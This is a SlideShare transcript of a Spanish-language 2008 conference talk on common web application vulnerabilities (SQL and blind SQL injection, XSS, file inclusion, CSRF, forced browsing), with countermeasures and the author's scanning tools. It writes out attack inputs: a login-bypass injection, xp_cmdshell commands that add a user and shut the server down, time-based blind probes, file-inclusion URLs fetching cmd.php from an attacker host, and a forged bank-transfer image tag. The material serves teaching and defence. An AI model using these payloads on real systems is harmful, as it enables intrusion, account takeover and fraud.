SlideShare una empresa de Scribd logo
1 de 94
Descargar para leer sin conexión
Principales vulnerabilidades
en aplicaciones Web


Christian Martorella
Edge-security.com




                               1
#Whoami: Christian Martorella

 Cofundador Edge-security.com
 CISSP, CISM, CISA, OPST, OPSA
 Actualmente trabajando en
 Presidente de las Conferencias F.I.S.T
 Miembro de OISSG
 http://laramies.blogspot.com




                                          2
Escenario actual

El servicio más difundido y utilizado es WWW
75% de los ataques ocurren en las aplicaciones Web
(Gartner)
3 de 4 servidores son vulnerables a los ataques web
(Gartner)
Cada 1500 líneas de código hay una vulnerabilidad (IBM)




                                                          3
Escenario actual
 Aumento del uso de aplicaciones web en el día a día,
 Banca online, redes sociales, etc
 Web 2.0 añade mayor complejidad y nuevos vectores
 de ataque
 Los firewall permiten el paso de este servicio y no
 pueden hacer nada al respecto
 Punto de contacto con las bases de datos ($$)
 Cada vez los datos personales tienen más valor, y hay
 más interesados en ellos.

                                                         4
Escenario actual
 Precio de los datos:




                        5
Escenario actual
Ataques de phishing y fraude online (Launch pad,
infection point)




                                                   6
Escenario actual -

 4396 vulnerabilidades




                     Web Applications	
                     Otras vulnerabilidades


                                              7
Escenario actual -

Vulnerabilidades más explotadas:

 PHP Remote File Inclusion

 SQL Injection

 Cross Site Scripting (XSS)

 Cross Site request forgery (CSRF)



                                     8
Escenario actual - WASC
Porcentaje de sitios vulnerable por tipo de vulnerabilidad




                                                   Cross site Scripting
                                                   Other
                                                   Information Leakage
                                                   Http Response Splitting
                                                   SQL Injection
                                                   SSI Injection




              Web Application Security Consortium 2006

                                                                             9
Escenario actual - WASC
               Vulnerabilidades más comúnes x clase

                                      85.57
           26.38
                                                               Cross Site Scripting
       15.70                                                   SQL Injection
                                                               Information Leakage
   9.76                                                        HTTP Response Splitting
                                                               Path Traversal
1.19                                                           Other
 4.30

   0           25        50           75           100



                    Web Application Security Consortium 2006

                                                                                    10
Escenario actual - OWASP


Open Web Application Security Project
Cantidad de proyectos relacionados con la seguridad
de aplicaciones web
Uno de ellos el Top 10 de vulnerabilidades




                                                      11
OWASP TOP 10

 Cross Site Scripting (XSS) 	
 Injection Flaws (SQL, LDAP)
 Malicious File Execution
 Insecure Direct Object Reference
 Cross Site Request Forgery (CSRF) 	




                                       12
OWASP TOP 10

Information Leakage and Improper Error Handling
Broken Authentication and Session Management
Insecure Cryptographic Storage 	
Insecure Communications 	
Failure to Restrict URL Access




                                                  13
Escenario actual




                   14
Web applications 101




                       15
Web applications 101




                       16
Web applications 101




                       17
Las sospechosas habituales




                             18
SQL injection




                19
SQL injection

 SQL: Structured Query Language
 Utilizado para consultar y administrar Bases de Datos
 Query / consulta: Unidad típica de ejecución.
 Consultas básicas: SELECT, INSERT, UPDATE.




                                                         20
SQL injection

 SELECT * FROM usuarios WHERE name=”laramies”;


 SELECT id FROM usuarios;


 SELECT nombre FROM usuarios UNION SELECT
 name FROM employees;




                                                 21
SQL injection
 La inyección de código SQL se produce cuando datos
 suministrados por el usuario son enviados sin filtrar a
 un intérprete como parte de una consulta (Query), con
 el fin de modificar el comportamiento original, para
 ejecutar comandos o consultas arbitrarias en la base
 de datos.




                                                          22
SQL injection


 <code>
 sql_query=
 “SELECT * FROM users WHERE
 username = '" + username_string + "' AND
 userpass = '" + password_string + "'"
 </code>
                                            23
SQL injection




Consulta final en DB:
SELECT * FROM users WHERE
                            OK!
username = 'laramies' AND
userpass = 'test'

                                  24
SQL injection

                         Consulta final en DB:
                         SELECT * FROM users WHERE
                         username = 'laramies'' AND
                         userpass = 'test'



     Microsoft OLE DB Provider for ODBC Drivers
     (0x80040E14)
     [Microsoft][ODBC SQL Server Driver][SQL
     Server]Unclosed quotation mark before the character string
     ' AND userpass=userpass_string'.

                                                                  25
SQL injection
                           Consulta final en DB:
                           SELECT * FROM users WHERE
                           username = '' or 1=1;--
                           AND userpass = 'test'




OK!! Acceso permitido
con el primer usuario de
la DB
                                                       26
SQL injection

 Evadir autenticaciones, controles de acceso.
 Obtener y/o modificar datos arbitrarios de la base de
 datos
 Leer ficheros del sistema operativo
 Ejecutar comandos en el Sistema Operativo




                                                        27
SQL injection


 SELECT * FROM usuarios WHERE
 name=’laramies’;exec master..xp_cmdshell(net user
 laramies /add);--

 SELECT * FROM usuarios WHERE
 name=’laramies’;shutdown--




                                                     28
SQL injection

       DEMOS [SQL Injection]




                               29
SQL injection - Tools

 Sqlbif: http://www.open-labs.org/
 SqPyfia: http://www.edge-security.com
 Sqlmap: http://sqlmap.sourceforge.net/
 Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project




                                                                       30
Blind SQL injection




                      31
Blind SQL injection
 Blind SQL injection es igual al SQL injection, pero con
 la diferencia que no se obtienen mensajes de error ni
 resultados en las respuestas.
 Es más difícil de explotar y lleva más tiempo obtener
 los resultados.
 Se ocultaron los mensajes de error, pero no se arregló
 la vulnerabilidad.




                                                           32
Blind SQL injection
 Se puede explotar mediante consultas SQL con
 evaluaciones lógicas del tipo True ó False.


  http://newspaper.com/items.php?id=2

  SELECT title, description, body FROM items WHERE ID = 2

  Y como resultado en el browser obtenemos:



  “Conferencia de Rediris el día 28”

                                                            33
Blind SQL injection
 http://newspaper.com/items.php?id=2 and 1=0

 SELECT title, description, body FROM items WHERE ID = 2 and 1=0

 Como resultado en el browser obtenemos:


“No se encontro articulo en la Base de datos”


                         ID = 2 and 1=0


                       True     and False                  False
                                                                   34
Blind SQL injection

 http://newspaper.com/items.php?id=2 and 1=1

 SELECT title, description, body FROM items WHERE ID = 2 and 1=1

 Como resultado en el browser obtenemos:




 “Conferencia de Rediris el dia 28”




                                                                   35
Blind SQL injection

 “No se encontró artículo en la Base de datos”   43 chars


                     !=
 “Conferencia de Rediris el día 28”              32 chars




                                                        36
Blind SQL injection

 Como podemos explotarla?
 http://newspaper.com/items.php?id=2 and 1=1 OK
 http://newspaper.com/items.php?id=2 and 1=0 NO


 Hay que averiguar el tipo de DB:
 http://newspaper.com/items.php?id=2 and
 user()=user() OK --> MYSQL


                                                  37
Blind SQL injection




                      38
Blind SQL injection
sql.php?id=1 and substr(user(),1,1) = “a” NO   “No se encontró artículo en la Base de datos”




sql.php?id=1 and substr(user(),1,1) = “b” NO   “No se encontró artículo en la Base de datos”

sql.php?id=1 and substr(user(),1,1) = “c” NO   “No se encontró artículo en la Base de datos”

sql.php?id=1 and substr(user(),1,1) = “d” NO   “No se encontró artículo en la Base de datos”

sql.php?id=1 and substr(user(),1,1) = “e” NO   “No se encontró artículo en la Base de datos”




sql.php?id=1 and substr(user(),1,1) = “f” OK   “Conferencia de Rediris el día 28”




      Primer carácter del resultado de la función user() es “f”
                                                                                               39
Blind SQL injection
 sql.php?id=1 and ascii(substr(user(),1,1)) > 100 OK

 El valor ascii de la primer letra del usuario > 100
 sql.php?id=1 and ascii(substr(user(),1,1)) > 100 OK

 sql.php?id=1 and ascii(substr(user(),1,1)) >150 NO

 sql.php?id=1 and ascii(substr(user(),1,1)) >125 NO

 sql.php?id=1 and ascii(substr(user(),1,1)) >112 OK

 sql.php?id=1 and ascii(substr(user(),1,1)) >118 OK

 sql.php?id=1 and ascii(substr(user(),1,1)) >114 NO

 sql.php?id=1 and ascii(substr(user(),1,1)) >113 OK

 sql.php?id=1 and ascii(substr(user(),1,1)) =114 OK

 Primer carácter del resultado de la función user() es “r”
                                                             40
Blind SQL injection
Si el comportamiento es el mismo, estamos seguros de
              que no hay SQL injection?

                                       NO...

    SELECT title, description, body FROM items WHERE ID = 2 and 1=0   32 Chars

    SELECT title, description, body FROM items WHERE ID = 2 and 1=1   32 Chars


                                                                                 41
Blind SQL injection
 Pero podemos usar algunas opciones como:

                  Timing
              Condicionales (IF)


   WAIT FOR DELAY '0:0:10'     SQL Server
   BENCHMARK()      MySQL
   pg_sleep(10)   PostgreSQL


                                            42
Blind SQL injection

SELECT title, description, body FROM items WHERE ID = 2 ;waitfor delay '0:0:15'--



          Tiempo de ejecución > = 15 seg OK!

 SELECT title, description, body FROM items WHERE ID = 2;if (select user) = 'sa'
 waitfor delay '0:0:15'




            Tiempo de ejecución > = 15 OK!
            Sabemos que el usuario es “SA”

                                                                                    43
Blind SQL injection

          DEMOS [Blind]




                          44
Blind SQL injection




                      45
SQL injection

Contramedidas:

Validar los datos de entrada, White Lists

Utilización de procedimientos almacenados
  parametrizados

Conexiones con mínimos privilegios, granularidad



  Validar, validar, validar, y por las dudas validar.
                                                        46
Blind SQL injection
Herramientas:

 Sqlbif: http://www.open-labs.org/
 SqPyfia: http://www.edge-security.com
 Pblind: http://www.edge-security.com
 Sqlmap: http://sqlmap.sourceforge.net/
 Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project




                                                                       47
SQL Injection




                48
Cross Site Scripting XSS




                           49
Cross Site Scripting XSS

 La vulnerabilidad ocurre cuando una aplicación recibe
 datos enviados por el usuario, y los devuelve al
 browser sin validarlos o codificarlos.


 Para poder explotar esta vulnerabilidad generalmente el
 atacante tendrá que engañar a la víctima en abrir un
 link, visitar una página, ver una imagen, etc...



                                                           50
Cross Site Scripting XSS
Que se puede hacer con ellos?:


    Robo de información de autenticación y
   secuestro de cuentas
    Robo y envenenamiento de cookies
    Website Deface
    Phishing



                                             51
Cross Site Scripting XSS
Más..

        Log Keystrokes          Deface websites



        Port Scan Intranet            XSRF


        Abusar de
        vulnerabilidades del   Robar History
        browser


                                                  52
Cross Site Scripting XSS
Tipos:

 Persistente o Almacenado

 No persistente ó reflejado (más común)

 Basados en DOM (Document Object Model)




                                          53
Cross Site Scripting XSS
No Persistente - Reflejado

1.Alice visita el sitio “XSSLand”, donde tiene una cuenta para acceder a sus datos
   personales.

2. Haxor encuentra un XSS de tipo “No persistente” en “XSSLand”.

3. Haxor prepara una URL que explota la vulnerabilidad, y envia el link a través del correo,
    haciendose pasar por el servicio de administración de “XSSLand”

4. Alice visita la URL que envio Haxor mientras esta logueada en “XSSLand”


5. El script incrustado en la URL, se ejecuta en el Browser, como si viniera de “XSSLand”.
    El script envia la cookie de sesión a Haxor. Ahora Haxor puede acceder a “XSSLand”
    como si fuera Alice y obtener o modificar la información disponible.




                                                                                               54
Cross Site Scripting XSS
Persistente


 1.
El sitio “XSSLAND” permite a los usuarios enviar mensajes en un foro, así como
     firmar el libro de visitas.


 2.
Haxor detecta que el sitio “XSSLand” es vulnerable a un XSS de tipo persistente.

3. Haxor envia un mensaje controversial o con gancho, para animar a otros usuarios a
   verlo.

4.
 Solo con ver el mensaje, la cookie de sesión de los usuarios sera enviada a un
    servidor controlado por Haxor sin que los usuarios se den cuenta.



 5.
Posteriormente Haxor, accede con las cookies de sesión de los otros usuarios y
     envia mensajes suplantando la identidad de las victimas.




                                                                                        55
Cross Site Scripting XSS




                           56
Cross Site Scripting XSS




                           57
Cross Site Scripting XSS

       DEMO [Consola Beef]




                             58
Cross Site Scripting XSS
Contramedidas:
 Filtrar todo el contenido que recibimos para evitar que
 se incluyan tags de scripting, aceptando solo los
 valores válidos. (White Lists)
 Antes de almacenar y de volver a mostrar los datos a
 los usuarios, se recomienda transformar los meta-
 caracteres, que permiten esta vulnerabilidad, a su
 entidad HTML correspondiente. > &gt; < &lt; & &amp;


 Validar, validar, validar, y por las dudas validar.
                                                           59
Remote File inclusion (RFI)




                              60
File inclusion
La inclusión remota de ficheros o código permite a los
atacantes incluir código y datos arbitrarios en la
aplicación vulnerable, que luego se ejecutará en el
servidor.

Muchas aplicaciones permiten subir ficheros,     fotos,
documentos, etc... (Upload)

La inclusión de los ficheros puede ser tanto local como
remota




                                                         61
File inclusion

  La podemos encontrar en urls del tipo:
  http://vulnsite.com/leer.php?file=news.php
  http://vulnsite.com/area.php?file=news



 http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php

 http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php%00


Si logramos incluir código, ficheros o realizar un upload
podemos...
                                                                       62
File inclusion

  Ejecutar comandos a través de una consola web.
  (Darkraver web-kit)
  Paneles de control (c99, r57)
  Cliente SQL a través de http.
  Subir y ejecutar cualquier binario (Port redirectors,
  túneles, etc)
  Cualquier cosa que se nos ocurra.

        Control total del servidor :)

                                                          63
File inclusion




                 64
Remote File inclusion (RFI)




                              65
Local File Inclusion




                       66
Local File Inclusion




                       67
Remote File inclusion (RFI)




                              68
Remote File inclusion (RFI)




                              69
Remote File inclusion (RFI)

        DEMO [Consola SQL]




                              70
File inclusion
 Ocultar nombre de ficheros al usuario
 Desactivar “allow_url_fopen” y “allow_url_include”
 en PHP.INI
 Configurar firewalls para prevenir que el servidor Web
 no pueda realizar conexiones nuevas hacia
 servidores externos o internos.
 Utilizar valores que se mapeen con los ficheros
 necesarios, asi “1” es equivalente a “config_user.ini”,
 “2” a “config_site.ini”

 Validar, validar, validar, y por las dudas validar.
                                                          71
XSRF (Cross Site Request
Forgery)




                           72
Cross Site Request Forgery

El atacante fuerza al browser de la víctima a realizar
una petición, en la sesión autenticada o no, de una
aplicación sin el conocimiento del usuario.




<IMG SRC=”http://www.mibancaonline.com/
transferencia.asp?
amount=1000000&to_account=3l3373” />



                                                         73
Cross Site Request Forgery




                             74
Cross Site Request Forgery

“Yo no me descargue ese fichero, fui víctima de
un CSRF”


           “It's a problem for forensics people who
                aren't as familiar with it and might
             not understand whether it's possible
                 that CSRF could be blamed for
              what the defendant is accused of. “

                        Chuck Willis,
               Principal consultant, Mandiant




                                                       75
Cross Site Request Forgery

Contramedidas:

 No funciona confiar en el Referrer.
 No funciona confiar solo en los POST
 Utilizar tokens Random! (campos HIDDEN)




                                           76
Failure to Restrict URL Access




                                 77
Failure to Restrict URL Access

 Usualmente la aplicación protege solamente las
 funcionalidades más sensibles, evitando publicar los
 links o las urls a los usuarios no autorizados.


 Los atacantes explotan esta vulnerabilidad
 accediendo directamente a estas funcionalidades.




                                                        78
Failure to Restrict URL Access
 Existen muchos diccionarios creados para explotar
 esta vulnerabilidad:


     Diccionarios de distintos idiomas


     Diccionarios por contexto dependiendo del
     servidor Web, servidor de aplicaciones, y
     Aplicaciones



                                                     79
Failure to Restrict URL Access



                           Wfuzz




                                   80
Failure to Restrict URL Access


          DEMO [Wfuzz]




                                 81
Failure to Restrict URL Access

Herramientas:


 Wfuzz: http://www.edge-security.com/wfuzz.php
 Dirb: http://www.open-labs.org/




                                                 82
83
WebSlayer
Nueva herramienta para realizar todo tipo de
ataques de fuerza bruta sobre aplicaciones webs.

   Predictable resource locator, recursion supported

   Login form bruteforce

   Session bruteforce

   Parameter bruteforce
                                                  Basada en wfuzz
   Parameter Injection (XSS, SQL)

   Basic and Ntml Bruteforcing




                                                                    84
WebSlayer

Multiple payloads

All parameter injection (Get, Post, Headers)

NTLM and Basic support and bruteforcing

Payload encoding

Tailored dictionaries for known applications (Apache, Tomcat, Weblogic,
    Websphere,Vignette, etc) Thanks to DarkRaver www.open-labs.org




                                                                          85
WebSlayer




            WebSlayer




                    86
WebSlayer


        DEMO [Webslayer]




                           87
ProxyStrike

 Herramienta para auditar aplicaciones WEB
 Actualmente detecta XSS y SQL Injection
 Es un proxy que mientras se navega la aplicación,
 realiza las inyecciones de SQL y XSS en todos los
 parámetros dinámicos.




                                                     88
ProxyStrike




              89
ProxyStrike




              90
ProxyStrike




              91
TOOLS
   www.edge-security.com
Wfuzz: http://www.edge-security.com/wfuzz.php
WebSlayer: http://www.edge-security.com/webslayer/
Webslayer.html
ProxyStrike: http://www.edge-security.com/proxystrike.php




                                                            92
Referencias

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

http://www.0x000000.com/index.php?i=14

http://www.xssed.com/xssinfo

Dhanjani Hack-lu presentation

One Way Hacking http://net-square.com/papers/one_way/one_way.html

Owasp http://www.owasp.org




                                                                    93
?
cmartorella@edge-security.com


                                94

Más contenido relacionado

La actualidad más candente

Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...Jesús Daniel Mayo
 
Sql injection
Sql injectionSql injection
Sql injectionMinoxx
 
Seguridad sql injection
Seguridad   sql injectionSeguridad   sql injection
Seguridad sql injectionGary Briceño
 
Inyeccion sql
Inyeccion sqlInyeccion sql
Inyeccion sqlobispo28
 
Seguridad de aplicaciones web 2.0
Seguridad de aplicaciones web 2.0Seguridad de aplicaciones web 2.0
Seguridad de aplicaciones web 2.0Pablo Viquez
 
Introducción a las vulnerabilidades web
Introducción a las vulnerabilidades webIntroducción a las vulnerabilidades web
Introducción a las vulnerabilidades webPablo Garaizar
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sqljhom123
 
Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3tantascosasquenose
 
14. Seguridad En Aplicaciones Web Asp.Net
14.  Seguridad En Aplicaciones Web Asp.Net14.  Seguridad En Aplicaciones Web Asp.Net
14. Seguridad En Aplicaciones Web Asp.Netguest3cf6ff
 
Ser vlet conectar con base de datos
Ser vlet conectar con base de datosSer vlet conectar con base de datos
Ser vlet conectar con base de datosDavid
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)kernelinux
 
Springio2012 taller-seguridad-web-springsecurity-3
Springio2012 taller-seguridad-web-springsecurity-3Springio2012 taller-seguridad-web-springsecurity-3
Springio2012 taller-seguridad-web-springsecurity-3Fernando Redondo Ramírez
 

La actualidad más candente (17)

Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
 
Sql injection
Sql injectionSql injection
Sql injection
 
Seguridad sql injection
Seguridad   sql injectionSeguridad   sql injection
Seguridad sql injection
 
Inyeccion sql
Inyeccion sqlInyeccion sql
Inyeccion sql
 
Seguridad de aplicaciones web 2.0
Seguridad de aplicaciones web 2.0Seguridad de aplicaciones web 2.0
Seguridad de aplicaciones web 2.0
 
Introducción a las vulnerabilidades web
Introducción a las vulnerabilidades webIntroducción a las vulnerabilidades web
Introducción a las vulnerabilidades web
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sql
 
Charla java
Charla javaCharla java
Charla java
 
Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3
 
Inyecciones SQL
Inyecciones SQLInyecciones SQL
Inyecciones SQL
 
Symfony2 - ACL
Symfony2 - ACLSymfony2 - ACL
Symfony2 - ACL
 
Spring Security
Spring SecuritySpring Security
Spring Security
 
14. Seguridad En Aplicaciones Web Asp.Net
14.  Seguridad En Aplicaciones Web Asp.Net14.  Seguridad En Aplicaciones Web Asp.Net
14. Seguridad En Aplicaciones Web Asp.Net
 
Ser vlet conectar con base de datos
Ser vlet conectar con base de datosSer vlet conectar con base de datos
Ser vlet conectar con base de datos
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
 
as
asas
as
 
Springio2012 taller-seguridad-web-springsecurity-3
Springio2012 taller-seguridad-web-springsecurity-3Springio2012 taller-seguridad-web-springsecurity-3
Springio2012 taller-seguridad-web-springsecurity-3
 

Destacado

Vulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHPVulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHPMoises Silva
 
A journey into Application Security
A journey into Application SecurityA journey into Application Security
A journey into Application SecurityChristian Martorella
 
Playing in a Satellite environment
Playing in a Satellite environmentPlaying in a Satellite environment
Playing in a Satellite environmentChristian Martorella
 
OSINT 2.0 - Past, present and future
OSINT 2.0  - Past, present and futureOSINT 2.0  - Past, present and future
OSINT 2.0 - Past, present and futureChristian Martorella
 

Destacado (6)

Ataques a-bases-de-datos
Ataques a-bases-de-datosAtaques a-bases-de-datos
Ataques a-bases-de-datos
 
Vulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHPVulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHP
 
A journey into Application Security
A journey into Application SecurityA journey into Application Security
A journey into Application Security
 
Playing in a Satellite environment
Playing in a Satellite environmentPlaying in a Satellite environment
Playing in a Satellite environment
 
Python for Penetration testers
Python for Penetration testersPython for Penetration testers
Python for Penetration testers
 
OSINT 2.0 - Past, present and future
OSINT 2.0  - Past, present and futureOSINT 2.0  - Past, present and future
OSINT 2.0 - Past, present and future
 

Similar a Principales vulnerabilidades en Aplicaciones Web - Rediris 2008

Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxActividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxFrancisco Medina
 
Webinar Gratuito: "Inyección SQL"
Webinar Gratuito: "Inyección SQL"Webinar Gratuito: "Inyección SQL"
Webinar Gratuito: "Inyección SQL"Alonso Caballero
 
Taller cybersecurity 2016
Taller cybersecurity 2016Taller cybersecurity 2016
Taller cybersecurity 2016Gonzalo Vigo
 
Inyecciones SQL para Aprendices
Inyecciones SQL para AprendicesInyecciones SQL para Aprendices
Inyecciones SQL para AprendicesTensor
 
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...Becket Toapanta
 
Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...
Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...
Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...beckett1
 
Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona SeguridadPresentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridadguestbfa74a
 
Cómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebCómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebEduardo Jalon
 
Vulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebVulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebAlonso Caballero
 
Curso basicoseguridadweb slideshare7
Curso basicoseguridadweb slideshare7Curso basicoseguridadweb slideshare7
Curso basicoseguridadweb slideshare7tantascosasquenose
 
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Alonso Caballero
 
Charla OWASP
Charla OWASPCharla OWASP
Charla OWASPalexav8
 
Ataques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerseAtaques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerseSupra Networks
 
Actividad No. 1.12: Crackeo de contraseña de MySQL
Actividad No. 1.12: Crackeo de contraseña de MySQLActividad No. 1.12: Crackeo de contraseña de MySQL
Actividad No. 1.12: Crackeo de contraseña de MySQLFrancisco Medina
 
Ataques a-bases-de-datos
Ataques a-bases-de-datosAtaques a-bases-de-datos
Ataques a-bases-de-datosalan moreno
 
Seguridad en aplicaciones web
Seguridad en aplicaciones webSeguridad en aplicaciones web
Seguridad en aplicaciones webJose Mato
 
Seguridad en la web
Seguridad en la webSeguridad en la web
Seguridad en la webTensor
 
Seguridad en la web
Seguridad en la webSeguridad en la web
Seguridad en la webTensor
 

Similar a Principales vulnerabilidades en Aplicaciones Web - Rediris 2008 (20)

Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxActividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
 
Webinar Gratuito: "Inyección SQL"
Webinar Gratuito: "Inyección SQL"Webinar Gratuito: "Inyección SQL"
Webinar Gratuito: "Inyección SQL"
 
Taller cybersecurity 2016
Taller cybersecurity 2016Taller cybersecurity 2016
Taller cybersecurity 2016
 
Inyecciones SQL para Aprendices
Inyecciones SQL para AprendicesInyecciones SQL para Aprendices
Inyecciones SQL para Aprendices
 
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...
 
Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...
Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...
Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...
 
Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona SeguridadPresentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridad
 
Cómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebCómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación Web
 
Vulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebVulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones Web
 
Curso basicoseguridadweb slideshare7
Curso basicoseguridadweb slideshare7Curso basicoseguridadweb slideshare7
Curso basicoseguridadweb slideshare7
 
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
 
Charla OWASP
Charla OWASPCharla OWASP
Charla OWASP
 
Web app attacks
Web app attacksWeb app attacks
Web app attacks
 
Ataques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerseAtaques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerse
 
Actividad No. 1.12: Crackeo de contraseña de MySQL
Actividad No. 1.12: Crackeo de contraseña de MySQLActividad No. 1.12: Crackeo de contraseña de MySQL
Actividad No. 1.12: Crackeo de contraseña de MySQL
 
Vulnerabilidades de un sistema informático
Vulnerabilidades de un sistema informáticoVulnerabilidades de un sistema informático
Vulnerabilidades de un sistema informático
 
Ataques a-bases-de-datos
Ataques a-bases-de-datosAtaques a-bases-de-datos
Ataques a-bases-de-datos
 
Seguridad en aplicaciones web
Seguridad en aplicaciones webSeguridad en aplicaciones web
Seguridad en aplicaciones web
 
Seguridad en la web
Seguridad en la webSeguridad en la web
Seguridad en la web
 
Seguridad en la web
Seguridad en la webSeguridad en la web
Seguridad en la web
 

Más de Christian Martorella

A fresh new look into Information Gathering - OWASP Spain
A fresh new look into Information Gathering - OWASP SpainA fresh new look into Information Gathering - OWASP Spain
A fresh new look into Information Gathering - OWASP SpainChristian Martorella
 
2011 and still bruteforcing - OWASP Spain
2011 and still bruteforcing - OWASP Spain2011 and still bruteforcing - OWASP Spain
2011 and still bruteforcing - OWASP SpainChristian Martorella
 
All your data are belong to us - FIST Conference 2007
All your data are belong to us - FIST Conference 2007All your data are belong to us - FIST Conference 2007
All your data are belong to us - FIST Conference 2007Christian Martorella
 

Más de Christian Martorella (6)

Offensive OSINT
Offensive OSINTOffensive OSINT
Offensive OSINT
 
Wfuzz for Penetration Testers
Wfuzz for Penetration TestersWfuzz for Penetration Testers
Wfuzz for Penetration Testers
 
A fresh new look into Information Gathering - OWASP Spain
A fresh new look into Information Gathering - OWASP SpainA fresh new look into Information Gathering - OWASP Spain
A fresh new look into Information Gathering - OWASP Spain
 
2011 and still bruteforcing - OWASP Spain
2011 and still bruteforcing - OWASP Spain2011 and still bruteforcing - OWASP Spain
2011 and still bruteforcing - OWASP Spain
 
All your data are belong to us - FIST Conference 2007
All your data are belong to us - FIST Conference 2007All your data are belong to us - FIST Conference 2007
All your data are belong to us - FIST Conference 2007
 
Tactical Information Gathering
Tactical Information GatheringTactical Information Gathering
Tactical Information Gathering
 

Último

Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024GiovanniJavierHidalg
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
